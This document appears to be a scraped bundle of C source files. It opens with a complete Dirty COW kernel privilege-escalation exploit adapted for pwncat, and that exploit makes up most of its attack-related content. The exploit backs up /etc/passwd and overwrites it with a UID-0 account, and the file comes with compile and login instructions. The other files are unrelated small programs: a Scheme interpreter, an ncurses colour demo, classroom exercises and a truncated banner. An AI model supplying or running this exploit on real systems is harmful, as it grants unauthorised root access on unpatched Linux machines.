// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
// The default is "pwncat".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
// gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
// "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su pwncat" or "ssh pwncat@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
// mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://pwncat.at
//
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>
const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/.pwncat";
const char *salt = "PWNCAT_SALT";
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
struct Userinfo {
char *username;
char *hash;
int user_id;
int group_id;
char *info;
char *home_dir;
char *shell;
};
char *generate_password_hash(char *plaintext_pw) {
return crypt(plaintext_pw, salt);
}
char *generate_passwd_line(struct Userinfo u) {
const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
int size = snprintf(NULL, 0, format, u.username, u.hash,
u.user_id, u.group_id, u.info, u.home_dir, u.shell);
char *ret = malloc(size + 1);
sprintf(ret, format, u.username, u.hash, u.user_id,
u.group_id, u.info, u.home_dir, u.shell);
return ret;
}
void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 200000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
}
int copy_file(const char *from, const char *to) {
// check if target file already exists
if(access(to, F_OK) != -1) {
return -1;
}
char ch;
FILE *source, *target;
source = fopen(from, "r");
if(source == NULL) {
return -1;
}
target = fopen(to, "w");
if(target == NULL) {
fclose(source);
return -1;
}
while((ch = fgetc(source)) != EOF) {
fputc(ch, target);
}
fclose(source);
fclose(target);
return 0;
}
int main(int argc, char *argv[])
{
// backup file
int ret = copy_file(filename, backup_filename);
if (ret != 0) {
exit(ret);
}
struct Userinfo user;
// set values, change as needed
user.username = "PWNCAT_USER";
user.user_id = 0;
user.group_id = 0;
user.info = "pwned";
user.home_dir = "/root";
user.shell = "/bin/bash";
char *plaintext_pw;
plaintext_pw = "PWNCAT_PASS";
user.hash = generate_password_hash(plaintext_pw);
char *complete_passwd_line = generate_passwd_line(user);
f = open(filename, O_RDONLY);
fstat(f, &st);
map = mmap(NULL,
st.st_size + sizeof(long),
PROT_READ,
MAP_PRIVATE,
f,
0);
pid = fork();
if(pid) {
waitpid(pid, NULL, 0);
int u, i, o, c = 0;
int l=strlen(complete_passwd_line);
for(i = 0; i < 10000/l; i++) {
for(o = 0; o < l; o++) {
for(u = 0; u < 10000; u++) {
c += ptrace(PTRACE_POKETEXT,
pid,
map + o,
*((long*)(complete_passwd_line + o)));
}
}
}
}
else {
pthread_create(&pth,
NULL,
madviseThread,
NULL);
ptrace(PTRACE_TRACEME);
kill(getpid(), SIGSTOP);
pthread_join(pth,NULL);
}
return 0;
}
|
the_stack_data/7950321.c
|
/* Micro Scheme (C) A. Carl Douglas */
#include <stdint.h>
#if defined(BSD)
#include <stdio.h>
#else
#include <bsd/stdio.h>
#endif
#include <stdlib.h>
#include <string.h>
#define debug(m,e) fprintf(default_output_port->value.stream, "%s:%d: %s:",__FILE__,__LINE__,m); print_obj(default_output_port, e); fprintf(default_output_port->value.stream, "\n");
typedef struct Object {
enum { _Symbol, _Pair, _Primitive, _Closure, _Macro, _Syntax, _Char, _String, _Integer, _Port } tag;
union Value {
long mword;
const char * string;
FILE *stream;
struct Object * (*pfn) (struct Object *);
struct Object * (*psyn) (struct Object *, struct Object *);
struct List {
struct Object * next;
struct Object * data;
} pair;
struct Closure {
struct Object * params;
struct Object * body;
struct Object * env;
} closure;
} value;
} Object;
static Object *default_input_port = 0, *default_output_port = 0, *symbols = 0;
static mem_use = 0;
static int look; /* look ahead character */
#define TOKEN_MAX 32
static char token[TOKEN_MAX]; /* token */
int is_space(char x) { return x == ' ' || x == '\n'; }
int is_parens(char x) { return x == '(' || x == ')'; }
int is_syntaxquote(char x) { return x == '\'' || x == '`' || x == ','; }
int is_doublequote(char x) { return x == '"'; }
int is_digit(char x) { return x >= '0' && x <= '9'; }
int is_op(char x) { return x == '-' || x == '+' || x == '*' || x == '/'
|| x == '=' || x == '%' || x == '^' || x == '&' || x == '|' || x == '!'
; }
int freadmem(void *cookie, char *buf, int size) { /* funopen enables parsing of memory as well as files */
char **position = (char **) cookie, *mem = * (char **) position;
int num_read = 0;
for( ; num_read < size && *mem != '\0'; num_read++)
*buf++ = *mem++;
if (*mem == '\0') *buf++ = EOF;
/* printf("Read %d bytes of %d: %s\n", num_read, size, *position); */
*position = mem; /* move the stream pointer */
return num_read;
}
int fwritemem(void *cookie, char *buf, int size) { /* funopen write */
char **position = (char **) cookie, *mem = * (char **) position;
int num_written = 0;
for( ; num_written < size && *buf != '\0' ; num_written++)
*mem++ = *buf++;
*position = mem;
return num_written;
}
void lookahead(Object *port) { look = getc(port->value.stream); }
void gettoken(Object *port) {
int index = 0;
while(is_space(look)) { lookahead(port); }
if (is_parens(look) || is_syntaxquote(look) || is_op(look)) { /* parens, quoting, quasiquoting */
token[index++] = look, lookahead(port);
if (token[0] == ',' && look == '@') {
token[index++] = look, lookahead(port);
}
} else if (is_doublequote(look)) { /* string */
token[index++] = look, lookahead(port); /* " */
while(index < TOKEN_MAX - 1 && look != EOF && !is_doublequote(look)) {
token[index++] = look, lookahead(port);
}
lookahead(port); /* don't keep closing double quote */
} else if (is_digit(look)) { /* number */
while(index < TOKEN_MAX - 1 && look != EOF && is_digit(look)) {
token[index++] = look, lookahead(port);
}
} else { /* symbol */
while(index < TOKEN_MAX - 1 && look != EOF && !is_space(look) && !is_parens(look)) {
token[index++] = look, lookahead(port);
}
}
token[index] = '\0';
}
Object * tagalloc(int type) {
Object *obj = calloc( 1, sizeof (Object) );
mem_use += sizeof(Object);
obj->tag = type;
return obj;
}
Object * cons(Object * _car, Object * _cdr) {
Object *_pair = tagalloc(_Pair);
_pair->value.pair.data = _car, _pair->value.pair.next = _cdr;
return _pair;
}
Object * newsymbol(const char *str) {
Object *obj = tagalloc(_Symbol);
obj->value.string = strdup(str);
return obj;
}
Object *newnumber(long num) {
Object *obj = tagalloc(_Integer);
obj->value.mword = num;
return obj;
}
Object * newstring(const char *str) {
Object *obj = tagalloc(_String);
obj->value.string = str;
return obj;
}
Object * newprimop( Object * (*fn) (Object *) ) {
Object *obj = tagalloc(_Primitive);
obj->value.pfn = fn;
return obj;
}
Object * newclosure( Object *params, Object *body, Object *env ) {
Object *obj = tagalloc(_Closure);
obj->value.closure.params = params, obj->value.closure.body = body, obj->value.closure.env = env;
return obj;
}
Object * newsyntax( Object * (*fn) (Object *, Object *) ) {
Object *obj = tagalloc(_Syntax);
obj->value.psyn = fn;
return obj;
}
Object * newmacro( Object *params, Object *body, Object *env ) {
Object *obj = tagalloc(_Macro);
obj->value.closure.params = params, obj->value.closure.body = body, obj->value.closure.env = env;
return obj;
}
Object * newchar(char ch) {
Object *obj = tagalloc(_Char);
obj->value.mword = ch;
return obj;
}
Object * newport(FILE *stream) {
Object *obj = tagalloc(_Port);
obj->value.stream = stream;
return obj;
}
Object *car(Object *x) { return x ? x->value.pair.data : 0; }
Object *cdr(Object *x) { return x ? x->value.pair.next : 0; }
#define e_true intern("#t")
#define e_false 0
Object * intern(const char *sym) {
Object *_pair = symbols;
for ( ; _pair ; _pair = cdr(_pair))
if (strncmp(sym, car(_pair)->value.string, TOKEN_MAX)==0)
return car(_pair);
symbols = cons(newsymbol(sym), symbols);
return car(symbols);
}
Object * getlist(Object *port);
Object * getobj(Object *port);
Object * gettokenobj(Object *port) {
gettoken(port);
return getobj(port);
}
Object * getobj(Object *port) {
/* reader macros */
if (token[0] == ',' && token[1] == '@') return cons(intern("unquote-splicing"), cons(gettokenobj(port), 0));
if (token[0] == ',') return cons(intern("unquote"), cons(gettokenobj(port), 0));
if (token[0] == '`') return cons(intern("quasiquote"), cons(gettokenobj(port), 0));
if (token[0] == '\'') return cons(intern("quote"), cons(gettokenobj(port), 0));
if (token[0] == '(') return getlist(port);
if (is_doublequote(token[0])) return newstring(token+1); /* drop opening double quote */
if (is_digit(token[0])) return newnumber(atoi(token));
return intern(token);
}
Object * getlist(Object *port) {
Object *tmp;
gettoken(port);
if (token[0] == ')') return (Object *) 0;
tmp = getobj(port);
return cons(tmp, getlist(port));
}
void newline(Object *port) {
fprintf(port->value.stream, "\n");
}
void print_obj(Object *port, Object *ob);
Object * format(Object *port, Object *control, Object *args);
void err(const char *msg, Object *exp) {
fprintf(default_output_port->value.stream, "%s", msg);
print_obj(default_output_port, exp);
newline(default_output_port);
exit(1);
}
void print_obj_list(Object *port, Object *ob) {
print_obj(port, car(ob));
if (cdr(ob) != 0) {
if(cdr(ob)->tag == _Pair) {
fprintf(port->value.stream, " ");
print_obj_list(port, cdr(ob));
} else {
fprintf(port->value.stream, " . ");
print_obj(port, cdr(ob));
}
}
}
void print_obj(Object *port, Object *ob) {
if (ob == 0) {
fprintf(port->value.stream, "()");
} else if (ob->tag == _Symbol) {
fprintf(port->value.stream, "%s", ob->value.string);
} else if (ob->tag == _Pair) {
/* todo print '`, instead of quote */
fprintf(port->value.stream, "("); print_obj_list(port, ob); fprintf(port->value.stream, ")");
} else if (ob->tag == _Closure) {
fprintf(port->value.stream, "<CLOSURE>");
print_obj(port, ob->value.closure.params); print_obj(port, ob->value.closure.body);
} else if (ob->tag == _Primitive) {
fprintf(port->value.stream, "<PRIMOP>");
} else if (ob->tag == _Macro) {
fprintf(port->value.stream, "<MACRO>");
print_obj(port, ob->value.closure.params); print_obj(port, ob->value.closure.body);
} else if (ob->tag == _Syntax) {
fprintf(port->value.stream, "<SYNTAX>");
} else if (ob->tag == _Char) {
fprintf(port->value.stream, "%c", (int) ob->value.mword);
} else if (ob->tag == _String) {
fprintf(port->value.stream, "\"%s\"", ob->value.string);
} else if (ob->tag == _Integer) {
fprintf(port->value.stream, "%ld", ob->value.mword);
}
}
Object * format(Object *port, Object *control, Object *args) {
const char *fmt = control->value.string;
while(*fmt) {
if (*fmt == '~') {/* ~s write, ~a display, ~% newline, ~~ tilde */
fmt++;
if (*fmt == 's') {
print_obj(port, car(args));
args = cdr(args);
} else if (*fmt == '%') {
fputc('\n', port->value.stream);
} else if (*fmt == '~') {
fputc('~', port->value.stream);
}
fmt++;
} else {
fputc(*fmt++, port->value.stream);
}
}
return e_true;
}
Object * eval(Object *exp, Object *env);
Object * apply(Object *fun, Object *args);
Object * expand(Object *fun, Object *exp);
Object * map_(Object *list, Object * (*function) (Object *, Object *), Object *context) {
Object *head = 0, **args = &head;
for ( ; list ; list = cdr(list) ) {
*args = cons( function(car(list), context), 0);
args = &(*args)->value.pair.next;
}
return head;
}
#define evlist(ex,en) map_(ex, eval, en)
Object *fcons(Object *a) { return cons(car(a), car(cdr(a))); }
Object *fcar(Object *a) { return car(car(a)); }
Object *fcdr(Object *a) { return cdr(car(a)); }
Object *feq(Object *a) { return car(a) == car(cdr(a)) ? e_true : e_false; }
Object *fnot(Object *a) { return car(a) == e_false ? e_true : e_false; }
Object *fpair(Object *a) { return car(a)->tag == _Pair ? e_true : e_false; }
Object *fatom(Object *a) { return car(a)->tag == _Symbol ? e_true : e_false; }
Object *fnull(Object *a) { return car(a) == 0 ? e_true : e_false; }
Object *freadobj(Object *a) { return gettokenobj(default_input_port); }
Object *fwriteobj(Object *a){ print_obj(default_output_port, car(a)); newline(default_output_port); return e_true; }
Object *fputch(Object *a) { putchar(car(a)->value.mword); return e_true; }
Object *fgetch(Object *a) { return newchar(getchar()); }
Object *fformat(Object *a) { return format(default_output_port, car(a), cdr(a)); }
Object *feval(Object *a) { return eval(car(a), car(cdr(a))); }
Object *fquote(Object *exp, Object *env){ return car(cdr(exp)); }
Object *flambda(Object *exp, Object *env){ return newclosure(car(cdr(exp)), car(cdr(cdr(exp))), env); }
Object *fenv(Object *exp, Object *env) { return env; }
#define DEFMATH(OP,NAME) \
Object * NAME (Object *args) { \
Object *result = newnumber( car(args)->value.mword ); \
for ( args = cdr(args); args; args = cdr(args)) \
result->value.mword = result->value.mword OP car(args)->value.mword; \
return result; \
}
#define DEFCMP(OP,NAME,FIELD) Object * NAME (Object *args) { return car(args)->value.FIELD OP car(cdr(args))->value.FIELD ? e_true : e_false; }
DEFMATH(+,fadd)
DEFMATH(-,fsub)
DEFMATH(*,fmul)
DEFMATH(/,fdiv)
DEFMATH(%,fmodulo)
DEFMATH(^,fexp)
DEFCMP(==,fmeq,mword)
Object *fapply(Object *exp, Object *env) {
Object *head = 0, **args = &head, *tmp = cdr(cdr(exp));
for ( ; cdr(tmp); tmp = cdr(tmp) ) {
*args = cons( eval(car(tmp), env), 0);
args = &(*args)->value.pair.next;
}
*args = eval(car(tmp), env); /* last argument to apply must be a list */
return apply(eval(car(cdr(exp)), env), head);
}
Object *fexpand(Object *exp, Object *env) {
Object *fun = eval(car(car(cdr(exp))), env);
return expand(fun, cdr(car(cdr(exp))));
}
Object *fmacro(Object *exp, Object *env) {
Object *lambda = eval(car(cdr(exp)), env);
if (lambda->tag == _Closure) {
return newmacro(lambda->value.closure.params, lambda->value.closure.body, lambda->value.closure.env);
}
err("cannot make macro from: ", exp);
return 0;
}
Object *fif(Object *exp, Object *env) {
if (eval(car(cdr(exp)), env) != e_false) /* anything not false is true */
return eval(car(cdr(cdr(exp))), env);
else
return eval(car(cdr(cdr(cdr(exp)))), env);
}
Object * bind_append(Object *names, Object *values, Object *tail) {
Object *head = tail, **args = &head;
if (names && names->tag == _Symbol) { /* (lambda args (do args)) */
return cons( cons(names, cons(values, 0)), tail);
}
for ( ; names && values ; values = cdr(values), names = cdr(names) ) {
if (car(names) == intern(".")) { /* variadic lambda syntax */
*args = cons( cons(car(cdr(names)), cons(values, 0)), tail);
break;
}
*args = cons( cons(car(names), cons(car(values), 0)) , tail);
args = &( *args )->value.pair.next;
}
return head;
}
Object *expand(Object *fun, Object *exp) {
if (fun->tag == _Macro) {
return eval( fun->value.closure.body, bind_append(fun->value.closure.params, exp, fun->value.closure.env) );
}
err("cannot expand: ", fun);
return 0;
}
Object * apply(Object *fun, Object *args) {
if (fun->tag == _Primitive) {
return fun->value.pfn(args);
} else if (fun->tag == _Closure) {
return eval( fun->value.closure.body, bind_append(fun->value.closure.params, args, fun->value.closure.env) );
}
err("cannot apply: ", fun);
return 0;
}
#define evlist(ex,en) map_(ex, eval, en)
Object * eval(Object *exp, Object *env) {
if (exp->tag == _Symbol ) {
for ( ; env != 0; env = cdr(env) ) {
if (exp == car(car(env)))
return car(cdr(car(env)));
}
err("cannot lookup: ", exp);
return 0;
} else if (exp->tag == _Integer) {
return exp;
} else if (exp->tag == _String) {
return exp;
} else if (exp->tag == _Closure) {
return eval( exp->value.closure.body, env );
} else if (exp->tag == _Pair) { /* prepare for apply */
Object *fun = eval(car(exp), env);
if (fun->tag == _Macro) { /* expand and evaluate */
return eval(expand(fun, cdr(exp)), env);
} else if (fun->tag == _Syntax) { /* special forms */
return fun->value.psyn(exp, env);
} else {
return apply(fun, evlist(cdr(exp), env));
}
}
err("cannot evaluate: ", exp);
return 0;
}
Object *eval_string(const char *str, Object *env) {
Object *port = newport( funopen(&str, freadmem, NULL, NULL, NULL) );
lookahead(port);
return eval(gettokenobj(port), env);
}
Object *extend_env(Object *env, const char *src[][2]) {
for ( ; (*src)[0] ; src++) {
env = cons(cons(intern( (*src)[0] ), cons(eval_string( (*src)[1] , env), 0)), env);
}
return env;
}
/* A limitation of the macro stringizing # is being able to use a single quote 'x use (quote x) instead */
#define LISP(code) #code
static const char * builtin_lib[][2] = {
{ "Y", LISP((lambda (fn)
((lambda (h) (h h))
(lambda (g)
(fn (lambda args
(apply (g g) args))))))) },
{ "null", LISP((quote ()))},
{ "list", LISP((lambda args args)) },
{ "foldr", LISP((lambda (fn0 acc0 lst0)
((Y (lambda (foldr0)
(lambda (acc lst)
(if (null? lst) acc
(fn0 (car lst) (foldr0 acc (cdr lst)))))))
acc0 lst0 ))) },
{ "foldl", LISP((lambda (fn0 acc0 lst0)
((Y (lambda (foldl0)
(lambda (acc lst)
(if (null? lst) acc
(foldl0 (fn0 (car lst) acc) (cdr lst))))))
acc0 lst0 ))) },
{ "cond", LISP((macro
(lambda exp0
((Y (lambda (condr)
(lambda (exp)
(if (null? exp)
(quote (quote ()))
(list (quote if) (car (car exp)) (car (cdr (car exp))) (condr (cdr exp)))))))
exp0 )))) },
{ "append", LISP((Y (lambda (append0)
(lambda (x y)
(cond ((null? x) y)
((quote #t) (cons (car x) (append0 (cdr x) y)))))))) },
{ "quasiquote", LISP((macro
(lambda (exp0)
(cons (quote list)
((Y (lambda (expand-qq)
(lambda (exp)
(cond ((null? exp) (quote ()))
((pair? exp)
(cond ((eq? (car exp) (quote unquote)) (car (cdr exp)))
((eq? (car exp) (quote unquote-splicing)) (append (car (cdr exp)) (expand-qq (cdr (cdr exp)))))
((quote #t) (cons (expand-qq (car exp)) (expand-qq (cdr exp))))))
((quote #t) (cons (quote quote) (cons exp (quote ()) ))))))) exp0 ))))) },
{ "map", LISP((lambda (fn l0)
((Y (lambda (mapr)
(lambda (l1 l2)
(if (null? l1) l2
(cons (fn (car l1)) (mapr (cdr l1) l2)))))) l0 (quote ()) ))) },
{ "let", LISP((macro
(lambda (args body)
(append
(list
(list (quote lambda)
(map (lambda (x) (car x)) args)
body))
(map (lambda (x) (car (cdr x))) args))))) },
{ "let*", LISP((macro
(lambda (args body)
(foldr (lambda (x y)
(list (quote let) (list x) y))
body
args )))) },
{ "letrec", LISP((macro
(lambda (args body)
(list
(quote let)
(map (lambda (x)
(let ((var (car x))
(val (car (cdr x))))
(list var (list (quote Y)
(list (quote lambda)
(list var)
val)))))
args)
body )))) },
{ "letrec*", LISP((macro
(lambda (args body)
(foldr (lambda (x y)
(list (quote letrec) (list x) y))
body
args )))) },
{ "curry", LISP((lambda (func arg1)
(lambda (arg)
(apply func (cons arg1 (list arg)))))) },
{ "compose", LISP((lambda (f g)
(lambda arg
(f (apply g arg))))) },
{ 0, 0 }
};
int main(int argc, char *argv[]) {
Object *env =
cons (cons(intern("car"), cons(newprimop(fcar), 0)),
cons (cons(intern("cdr"), cons(newprimop(fcdr), 0)),
cons (cons(intern("cons"), cons(newprimop(fcons), 0)),
cons (cons(intern("eq?"), cons(newprimop(feq), 0)),
cons (cons(intern("not"), cons(newprimop(fnot), 0)),
cons (cons(intern("pair?"), cons(newprimop(fpair), 0)),
cons (cons(intern("symbol?"), cons(newprimop(fatom), 0)),
cons (cons(intern("null?"), cons(newprimop(fnull), 0)),
cons (cons(intern("read"), cons(newprimop(freadobj), 0)),
cons (cons(intern("write"), cons(newprimop(fwriteobj), 0)),
cons (cons(intern("format"), cons(newprimop(fformat), 0)),
cons (cons(intern("eval"), cons(newprimop(feval), 0)),
cons (cons(intern("apply"), cons(newsyntax(fapply), 0)),
cons (cons(intern("quote"), cons(newsyntax(fquote), 0)),
cons (cons(intern("lambda"), cons(newsyntax(flambda), 0)),
cons (cons(intern("if"), cons(newsyntax(fif), 0)),
cons (cons(intern("macro"), cons(newsyntax(fmacro), 0)),
cons (cons(intern("expand"), cons(newsyntax(fexpand), 0)),
cons (cons(intern("environment"), cons(newsyntax(fenv), 0)),
cons (cons(intern("+"), cons(newprimop(fadd), 0)),
cons (cons(intern("-"), cons(newprimop(fsub), 0)),
cons (cons(intern("*"), cons(newprimop(fmul), 0)),
cons (cons(intern("/"), cons(newprimop(fdiv), 0)),
cons (cons(intern("="), cons(newprimop(fmeq), 0)),
0))))))))))))))))))))))));
env = extend_env(env, builtin_lib);
default_input_port = newport(stdin), default_output_port = newport(stdout);
lookahead(default_input_port);
print_obj(default_output_port, eval(gettokenobj(default_input_port), env) );
newline(default_output_port);
fprintf(stderr, "Memory usage: %d (%ld)\n", mem_use, mem_use / sizeof(Object));
return 0;
}
|
the_stack_data/246484.c
|
#include<stdio.h>
int main()
{
int n,i,j;
scanf("%d",&n);
for(i=1;;i++){
for(j=2;j<=(n+i)/2;j++)
{
if((n+i)%j==0)
break;
}
if(j==(n+i)/2+1)
{
printf("%d",n+i);
break;}
}
return 0;
}
|
the_stack_data/234518232.c
|
/* Andre Augusto Giannotti Scota (a2gs)
* [email protected]
*
* A sample of NCurses colors and attributes.
*
* MIT License
*
*/
/* ncursesPallet.c
* A sample of NCurses colors and attributes.
*
* Who | When | What
* --------+------------+----------------------------
* a2gs | 19/01/2019 | Creation
* | |
*/
/* *** INCLUDES ************************************************************************ */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ncurses.h>
/* *** DEFINES AND LOCAL DATA TYPE DEFINATION ****************************************** */
#define MIN_COLS (80)
#define DEFAULT_SCREEN (1)
#define USER_SCREEN (2)
/* *** LOCAL PROTOTYPES (if applicable) ************************************************ */
/* *** EXTERNS / LOCAL / GLOBALS VARIEBLES ********************************************* */
/* *** FUNCTIONS *********************************************************************** */
int save_colors_attr_curs(WINDOW *win, int *savedFG, int *savedBG, unsigned long *savedAT)
{
chtype ch = 0;
int bgcolor = 0, att = 0 /*, chtext = 0*/;
short sSavedFG = 0, sSavedBG = 0;
ch = getbkgd(win);
bgcolor = (ch & A_COLOR) >> 8;
att = (ch & A_ATTRIBUTES);
/*chtext = (ch & A_CHARTEXT);*/
pair_content(bgcolor, &sSavedFG, &sSavedBG);
*savedFG = sSavedFG;
*savedBG = sSavedBG;
*savedAT = att;
return(0);
}
int main(int argc, char *argv[])
{
char text[MIN_COLS + 1] = {'\0'};
int cursor = 0;
int nc= 0, keyPressed = 0;
int nlFG = 0, nlBG = 0, nlAT1 = 0, nlAT2 = 0, nlAT3 = 0;
int savedFG = 0, savedBG = 0;
unsigned long savedAT = 0;
unsigned int colors_BGFG[]={COLOR_BLACK, COLOR_RED, COLOR_GREEN, COLOR_YELLOW, COLOR_BLUE, COLOR_MAGENTA, COLOR_CYAN, COLOR_WHITE};
unsigned long attributes []={A_NORMAL, A_STANDOUT, A_UNDERLINE, A_REVERSE, A_BLINK, A_DIM, A_BOLD, A_PROTECT, A_INVIS, A_ALTCHARSET, A_ITALIC, A_CHARTEXT, A_COLOR};
initscr();
keypad(stdscr, TRUE);
cbreak();
noecho();
if(LINES < 24 || COLS < 80){
endwin();
printf("Seu terminal nao tem a dimensao minima de 24 linhas por 80 colunas (sua resolucao eh %dlx%dc).\n", LINES, COLS);
return(-1);
}
if(has_colors() == FALSE){
endwin();
printf("Terminal nao suporta cores (has_colors() = FALSE).\n");
return(-1);
}
if(can_change_color() == FALSE){
endwin();
printf("Terminal nao suporta mudar as cores (can_change_colors() = FALSE).\n");
return(-1);
}
if(start_color() != OK){
endwin();
printf("Erro em iniciar cores (start_colors() = FALSE).\n");
return(-1);
}
cursor = curs_set(0);
save_colors_attr_curs(stdscr, &savedFG, &savedBG, &savedAT);
/* Saving default colors */
init_pair(DEFAULT_SCREEN, savedFG, savedBG);
do{
clear();
/* Default screen */
attron(COLOR_PAIR(DEFAULT_SCREEN));
attron(savedAT);
refresh();
snprintf(text, MIN_COLS, "Dimensao do terminal: Cols[%d] Lines[%d].", COLS, LINES);
mvaddstr(0, (int)((COLS/2)-(strlen(text)/2)), text);
mvaddstr(2, 0, "Use os direcionais ou [END] para sair.");
/* nc 0 1 2 3 */
mvaddstr( 5, 0, "+---------+---------+------------+------------+------------+");
mvaddstr( 6, 0, "| FG | BG | ATTR1 | ATTR2 | ATTR3 |");
mvaddstr( 7, 0, "+---------+---------+------------+------------+------------+"); /* nl */
mvaddstr( 8, 0, "| BLACK | BLACK | NORMAL | NORMAL | NORMAL |"); /* 0 */
mvaddstr( 9, 0, "| RED | RED | STANDOUT | STANDOUT | STANDOUT |"); /* 1 */
mvaddstr(10, 0, "| GREEN | GREEN | UNDERLINE | UNDERLINE | UNDERLINE |"); /* 2 */
mvaddstr(11, 0, "| YELLOW | YELLOW | REVERSE | REVERSE | REVERSE |"); /* 3 */
mvaddstr(12, 0, "| BLUE | BLUE | BLINK | BLINK | BLINK |"); /* 4 */
mvaddstr(13, 0, "| MAGENTA | MAGENTA | DIM | DIM | DIM |"); /* 5 */
mvaddstr(14, 0, "| CYAN | CYAN | BOLD | BOLD | BOLD |"); /* 6 */
mvaddstr(15, 0, "| WHITE | WHITE | PROTECT | PROTECT | PROTECT |"); /* 7 */
mvaddstr(16, 0, "| | | INVIS | INVIS | INVIS |"); /* 8 */
mvaddstr(17, 0, "| | | ALTCHARSET | ALTCHARSET | ALTCHARSET |"); /* 9 */
mvaddstr(18, 0, "| | | ITALIC | ITALIC | ITALIC |"); /* 10 */
mvaddstr(19, 0, "| | | CHARTEXT | CHARTEXT | CHARTEXT |"); /* 11 */
mvaddstr(20, 0, "| | | COLOR | COLOR | COLOR |"); /* 12 */
mvaddstr(21, 0, "+---------+---------+------------+------------+------------+");
if (nc == 0) mvaddstr(4, 5 , "V");
else if(nc == 1) mvaddstr(4, 15, "V");
else if(nc == 2) mvaddstr(4, 27, "V");
else if(nc == 3) mvaddstr(4, 40, "V");
else mvaddstr(4, 52, "V");
mvaddstr(nlFG +8, 1, ">");
mvaddstr(nlBG +8, 11, ">");
mvaddstr(nlAT1+8, 21, ">");
mvaddstr(nlAT2+8, 34, ">");
mvaddstr(nlAT3+8, 47, ">");
refresh();
attroff(COLOR_PAIR(DEFAULT_SCREEN));
attroff(savedAT);
/* Setting the sample sring out */
init_pair(USER_SCREEN, colors_BGFG[nlFG], colors_BGFG[nlBG]);
attron(COLOR_PAIR(USER_SCREEN));
attron(attributes[nlAT1] | attributes[nlAT2] | attributes[nlAT3]);
snprintf(text, MIN_COLS, "\"Now I will have less distraction.\" -Euler");
mvaddstr(13, (int)((COLS/2)-(strlen(text)/2)), text);
attroff(COLOR_PAIR(USER_SCREEN));
attroff(attributes[nlAT1] | attributes[nlAT2] | attributes[nlAT3]);
refresh();
/* Menu control */
switch(keyPressed = getch()){
case KEY_DOWN:
if (nc == 0) (nlFG == 7) ? nlFG = 0 : nlFG++; /* FG */
else if(nc == 1) (nlBG == 7) ? nlBG = 0 : nlBG++; /* BG */
else if(nc == 2) (nlAT1 == 12) ? nlAT1 = 0 : nlAT1++; /* attributes1 */
else if(nc == 3) (nlAT2 == 12) ? nlAT2 = 0 : nlAT2++; /* attributes2 */
else (nlAT3 == 12) ? nlAT3 = 0 : nlAT3++; /* attributes3 */
break;
case KEY_UP:
if (nc == 0) (nlFG == 0) ? nlFG = 7 : nlFG--; /* FG */
else if(nc == 1) (nlBG == 0) ? nlBG = 7 : nlBG--; /* BG */
else if(nc == 2) (nlAT1 == 0) ? nlAT1 = 12 : nlAT1--; /* attributes1 */
else if(nc == 3) (nlAT2 == 0) ? nlAT2 = 12 : nlAT2--; /* attributes2 */
else (nlAT3 == 0) ? nlAT3 = 12 : nlAT3--; /* attributes3 */
break;
case KEY_LEFT:
if(nc == 0) nc = 4;
else nc--;
break;
case KEY_RIGHT:
if(nc == 4) nc = 0;
else nc++;
break;
case KEY_END:
break;
}
}while(keyPressed != KEY_END);
curs_set(cursor);
endwin();
return(0);
}
|
the_stack_data/125139604.c
|
/* #include <stdlib.h> */
int main()
{
int x;
int *y = 0;
x = *y;
return 0;
}
|
the_stack_data/20454.c
|
#include <stdio.h>
#define TAM 2
typedef struct // ------------------------------tipo de dados chamado TipoAluno
{
int matricula;
char nome[50];
float nota1, nota2, media;
} TipoAluno; //---------------------------------
void entrada(TipoAluno *ta); // prototipo
void saida(TipoAluno *ta); // prototipo
float media(float x, float y); // prototipo
int main()
{
int i;
TipoAluno aluno[TAM] ; // variavel aluno que eh um vetor do tipo TipoAluno
printf("Cadastro\n");
for(i=0;i<TAM;i++){
printf("--Aluno %d--\n", i+1);
entrada(&aluno[i]);
}
printf("\nAlunos Cadastrados\n");
for(i=0;i<TAM;i++){
printf("--Aluno %d--\n", i+1);
saida(&aluno[i]);
}
return 0;
}
void entrada(TipoAluno *ta){
printf("Informe a matricula: ");
scanf("%d",&ta->matricula);
fflush(stdin);
printf("Informe o nome: ");
gets(ta->nome);
printf("Informe a nota 1: ");
scanf("%f", &ta->nota1);
printf("Informe a nota 2: ");
scanf("%f", &ta->nota2);
ta->media = media(ta->nota1,ta->nota2);
}
void saida(TipoAluno *ta){
printf("Matricula: %d\n", ta->matricula);
printf("Nome: %s\n", ta->nome);
printf("Nota 1: %.2f\nNota 2: %.2f\n", ta->nota1, ta->nota2);
printf("Media: %.2f\n\n", ta->media);
}
float media(float x, float y){
return (x+y)/2;
}
|
the_stack_data/179829546.c
|
/*average of N numbers */
//#define N 10
#include<stdio.h>
main()
{
int count,n;
float sum, average,number;
sum=0;
printf("number upto u wnt");
scanf("%d",&n);
for(count=0;count<=n;count++)
{
printf("enter the number");
scanf("%f",&number);
sum=sum+number;
}
average=sum/n;
printf("N =%d sum=%f",n,sum);
printf("Average =%f",average);
}
|
the_stack_data/11075148.c
|
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// ____ ___ __ _
// / __// o |,'_/ .' \
// / _/ / _,'/ /_n / o / _ __ _ ___ _ _ __
